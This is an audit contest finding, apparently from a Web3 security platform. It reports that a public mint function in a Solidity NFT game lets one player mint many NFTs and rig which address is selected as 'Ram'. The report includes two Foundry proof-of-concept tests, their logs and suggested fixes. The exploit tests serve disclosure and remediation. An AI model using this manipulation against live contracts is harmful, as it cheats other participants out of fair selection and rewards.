Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unfair Advantage in selecting a Ram

Unfair Advantage in selecting a Ram

Description:

The functions increaseValuesOfParticipants and selectRamIfNotSelected in the protocol have vulnerabilities that allow a player to increase their likelihood of being selected as "Ram" by minting multiple NFTs. from RamNFT::mintRamNFT function. This results in an unfair advantage for players who mint more NFTs (cost nothing just one entrance-fee), violating the principles of fairness and equal opportunity in the event.

Impact:

Participant who mint multiple NFTs can significantly increase their chances of being selected as "Ram".and be eligible to rewards

Proof of Concept:

  1. Scenario 1: ChoosingRam::selectRamIfNotSelected

    1. Two players enter the game through a modifier.

    2. We mint 10NFT for player1 to increase his chance to be selected as a "Ram".

    3. The selectRamIfNotSelected function is called by the organiser to choose the "Ram".

    4. Player 1 is chosen as "Ram" due to the increased number of NFTs they own.

    • I made some logs for insptecting RamNFT::CharacteristicsOfRam.ram for 11 nft

  • Include the following PoC in Dusserha.t.sol

function test_UnfairAdvantageForselectRamIfNotSelected () public participants {
//1- we entered with 2 players through the modifier
//2- we will mint 10 nft for player 1 so he will have a bigger chance to be choosen as ram
for(uint i=0;i<9;i++){
vm.startPrank(player1);
ramNFT.mintRamNFT(player1);
vm.stopPrank();
}
//3- we will choose ram
vm.startPrank(organiser);
vm.warp(1728691200 + 1);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
//asserting that player1 is the choosen ram
assertEq(player1,choosingRam.selectedRam());
console.log("player1Address:",player1);
console.log("player2Address:",player2);
//Instpecting the CharacteristicsOfRam.ram for 11 nft
for(uint i=0;i<11;i++){
console.log("Index",i,"Ram :",ramNFT.getCharacteristics(i).ram);
}
// Output
/* Logs:
player1Address: 0x7026B763CBE7d4E72049EA67E89326432a50ef84
player2Address: 0xEb0A3b7B96C1883858292F0039161abD287E3324
Index 0 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
Index 1 Ram : 0xEb0A3b7B96C1883858292F0039161abD287E3324
Index 2 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
Index 3 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
Index 4 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
Index 5 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
Index 6 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
Index 7 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
Index 8 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
Index 9 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
Index 10 Ram : 0x7026B763CBE7d4E72049EA67E89326432a50ef84
*/
}
  1. Scenario 2: ChoosingRam::increaseValuesOfParticipants

    1. Two players enter the game through a modifier.

    2. Player 1 mints 10 additional NFTs, giving them a higher probability of being selected as "Ram".

    3. The increaseValuesOfParticipants function is called with player 1 as both the challenger and the participant.

      • since from logs made in scenario 1 the majority of NFT is assigned to Player1 so we called the function as player1 is Challenger and Particpent

      • so anyone choosen as ram player1 will be choosen as "Ram"

    4. Player 1 is chosen as "Ram" due to the increased number of NFTs they own and the specific logic in the function.

  • Include the following PoC in Dusserha.t.sol

function test_UnfairAdvantageForincreaseValuesOfParticipants() public participants {
//1- we entered with 2 players through the modifier
//2- we will mint 10 nft for player 1 so he will have a bigger chance to be choosen as ram
for(uint i=0;i<9;i++){
vm.startPrank(player1);
ramNFT.mintRamNFT(player1);
vm.stopPrank();
}
//3- we will increaseValuesOfParticipants for player 1
vm.startPrank(player1);
//from the test_UnfairAdvantageForselectRamIfNotSelected logs we knew that
// 0 is the challenger and 2 is the perticipent aka they are the same person so anyone will win the same person will be choosen ram
choosingRam.increaseValuesOfParticipants(0, 2);
choosingRam.increaseValuesOfParticipants(0, 2);
choosingRam.increaseValuesOfParticipants(0, 2);
choosingRam.increaseValuesOfParticipants(0, 2);
vm.stopPrank();
assertEq(player1,choosingRam.selectedRam());
}

Recommended Mitigation:

  • use Access control in RamNFT::mintRamNFT function.which allow calls from Dusserha contract only

  • Limit NFT Minting: Impose limits on the number of NFTs a single player can mint

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRamNFT is public

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.